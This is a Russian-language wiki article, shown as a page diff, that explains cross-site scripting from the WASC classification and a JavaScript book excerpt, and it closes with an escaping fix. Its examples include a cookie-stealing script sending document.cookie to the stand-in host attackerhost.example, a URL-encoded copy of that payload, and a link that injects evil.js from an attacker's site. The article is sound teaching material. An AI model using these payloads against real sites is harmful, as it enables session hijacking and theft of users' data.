Инструменты пользователя

Инструменты сайта


cross-site_scripting

Различия

Показаны различия между двумя версиями страницы.

Ссылка на это сравнение

cross-site_scripting [2018/10/30 08:57]
cross-site_scripting [2020/06/13 13:45] (текущий)
Строка 1: Строка 1:
 +====== Cross-Site Scripting ======
 +~~Title: Уязвимость Cross-site Scripting (XSS) ~~
 +{{htmlmetatags>
 +metatag-description=(XSS межсайтовый скриптинг или межсайтовое выполнение сценариев позволяет атакующему передать серверу исполняемый код, который будет перенаправлен браузеру пользователя.)
 +}}
 +
 +  * [[Классификатор угроз безопасности]] Интернет (Web- приложений)
 +
 +**Cross-Site Scripting** или XSS. Межсайтовый скриптинг (межсайтовое выполнение сценариев).
 +
 +Наличие уязвимости Cross-site Scripting позволяет атакующему передать серверу исполняемый код, который будет перенаправлен браузеру пользователя. Этот код обычно создается на языках HTML/[[JavaScript]], но могут быть использованы VBScript, ActiveX, Java, Flash, или другие поддерживаемые браузером технологии.
 +
 +Переданный код исполняется в контексте безопасности (или зоне безопасности) уязвимого сервера. Используя эти привилегии, код получает возможность читать, модифицировать или передавать важные данные, доступные с помощью браузера. У атакованного пользователя может быть скомпрометирован аккакунт (кража cookie), его браузер может быть перенаправлен на другой сервер или осуществлена подмена содержимого сервера. В результате тщательно
 +спланированной атаки злоумышленник может использовать браузер жертвы для просмотра страниц сайта от имени атакуемого пользователя. Код может передаваться злоумышленником в URL, в заголовках [[HTTP]] запроса ([[cookie]], user-agent, refferer), значениях полей форм и т.д.
 +
 +Существует три типа атак, приводящих к межсайтовому выполнению сценариев: **non-persistent непостоянные** (отраженные), **persistent постоянные** (сохраненные) и основанные на [[DOM]]. Основным отличием между persistent и  non-persistent является то, что в отраженном варианте передача кода серверу и возврат его клиенту осуществляется в рамках одного HTTP- запроса, а в хранимом - в разных.
 +
 +Осуществление непостоянной атаки требует, чтобы пользователь перешел по ссылке, сформированной злоумышленником (ссылка может быть передана по email, ICQ и т.д.). В процессе загрузки сайта код, внедренный в URL или заголовки запроса будет передан клиенту и выполнен в его браузере.
 +
 +Сохраненная разновидность уязвимости возникает, когда код передается серверу и сохраняется на нем на некоторый промежуток времени. Наиболее популярными целями атак в этом случае являются форумы, почта с Web- интерфейсом и чаты.
 +Для атаки пользователю не обязательно переходить по ссылке, достаточно посетить уязвимый сайт.
 +  * **Пример. Сохраненный (persistent) вариант атаки.** Многие сайты имеют доски объявлений и форумы, которые позволяют пользователям оставлять сообщения. Зарегистрированный пользователь обычно идентифицируется по номеру
 +сессии, сохраняемому в cookie. Если атакующий оставит сообщение, содержащее код на языке JavaScript, он получит доступ к идентификатору сессии пользователя. Пример кода для передачи cookie:<file>
 +<SCRIPT>document.location= 'http://attackerhost.example/cgi-
 +bin/cookiesteal.cgi?'+document.cookie</SCRIPT>
 +</file>
 +  * **Пример. Отраженный (non-persistent) вариант атаки.** Многие серверы предоставляют пользователям возможность поиска по содержимому сервера. Как правило, запрос передается в URL и содержится в результирующей странице.
 +К примеру, при переходе по URL http://portal.example/search?q=”fresh beer” пользователю будет отображена страница, содержащая результаты поиска и фразу: "По вашему запросу fresh beer найдено 0 страниц". Если в качестве искомой фразы будет передан Javascript, он выполнится в браузере пользователя. Пример:<file>
 +http://portal.example/search/?q=<script>alert("xss")</script>
 +</file>Для сокрытия кода сценария может быть использована кодировка [[simvolnye_podstanovki?&#simvoly_kodirovanija_url|URLEncode]]<file>
 +http://portal.example/index.php?sessionid=12312312&
 +username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65
 +%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70
 +%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65
 +%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
 +%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64
 +%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73
 +%63%72%69%70%74%3E
 +</file>
 +  * **Пример.DOM- based**. [[http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting|DOM-based Attack Example]]
 +====== Флэнаган Дэвид JavaScript ======
 +//Выдержка из книги Флэнаган Дэвид JavaScript Полное руководство 5 издание.//
 +
 +Термин межсайтовый скриптинг  (cross'site scripting), или XSS, относится к области компьютерной уязвимости, когда атакующий внедряет HTML теги или сценарии  в  документы  на уязвимом  вебсайте.  Организация  защиты  от  XSS атак  –  обычное дело для вебразработчиков, занимающихся созданием серверных сценариев. Однако программисты, разрабатывающие клиентские [[JavaScript]] сценарии, также должны знать о XSS атаках и предпринимать меры защиты от них.
 +
 +Веб страница считается уязвимой для XSS атак, если она динамически создает содержимое документа на основе пользовательских данных, не прошедших предварительную обработку по удалению встроенного HTML кода. В качестве тривиального примера рассмотрим следующую веб-страницу, которая использует JavaScript сценарий, чтобы приветствовать пользователя по имени:
 +<file>
 +<script>
 +var name = decodeURIComponent(window.location.search.substring(6)) || "";
 +document.write("Привет " + name);
 +</script>
 +</file>
 +Во второй строке сценария вызывается метод  window.location.search.substring, с помощью которого извлекается часть адресной строки, начинающаяся с символа ?. Затем с помощью метода document.write() добавляется динамически сгенерированное содержимое документа. Этот сценарий предполагает, что обращение к вебстранице будет производиться с помощью примерно такого URL адреса:
 +<file>
 +http://www.example.com/greet.html?name=Давид
 +</file>
 +В этом случае будет выведен текст «Привет Давид». Но что произойдет, если страница будет запрошена с использованием следующего URLадреса:
 +<file>
 +http://www.example.com/greet.html?name=%3Cscript%3Ealert('Давид')%3C/script%3E
 +</file>
 +С таким содержимым URLадреса сценарий динамически сгенерирует другой сценарий (коды %3C и  %3E – это угловые скобки)! В данном случае вставленный сценарий просто отобразит диалоговое  окно, которое не представляет никакой опасности. Но представьте себе такой случай:
 +<file>
 +http://siteA/greet.html?name=%3Cscript src=siteB/evil.js%3E%3C/script%3E
 +</file>
 +Межсайтовый скриптинг потому так и называется, что в атаке участвует более одного сайта. Сайт B (или даже сайт C) включает специально сконструированную ссылку (подобную только что показанной) на сайт A, в которой содержится сценарий с сайта B. Сценарий evil.js размещается на сайте злоумышленника B, но теперь этот сценарий оказывается внедренным в сайт A и может делать все, что ему заблагорассудится с содержимым сайта A. Он может стереть страницу или вызвать другие нарушения в работе сайта (например, отказать в обслуживании, о чем рассказывается в следующем разделе). Это может отрицательно сказаться на посетителях сайта A. Гораздо опаснее, что такой злонамеренный сценарий может прочитать содержимое cookies, хранящихся на сайте A (возможно содержащих учетные номера или другие персональные сведения), и отправить эти данные обратно на сайт B. Внедренный сценарий может даже отслеживать нажатия клавиш и отправлять эти данные на сайт B.
 +
 +Универсальный способ предотвращения XSSатак заключается в удалении HTML тегов из всех данных сомнительного происхождения, прежде чем использовать их для динамического создания содержимого документа. Чтобы исправить эту проблему в показанном ранее файле  greet.html, нужно добавить следующую строку в сценарий, которая призвана удалять угловые скобки, окружающие тег <script>:
 +<file>
 +name = name.replace(/</g, "&lt;").replace(/>/g, "&gt;");
 +</file>
 +Межсайтовый скриптинг представляет  собой уязвимость, глубоко уходящую корнями в архитектуру Всемирной паутины. Необходимо осознавать всю глубину этой уязвимости.
 +====== Ссылки ======
 +  * [[http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting|WASC]]: Cross-Site Scripting.
 +  * [[http://www.cert.org/advisories/CA-2000-02.html|CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests]]
 +  * [[http://www.technicalinfo.net/papers/CSS.html|HTML Code Injection and Cross-site Scripting]]
 +  * [[http://www.securitylab.ru/contest/212115.php|XSS без XSS]]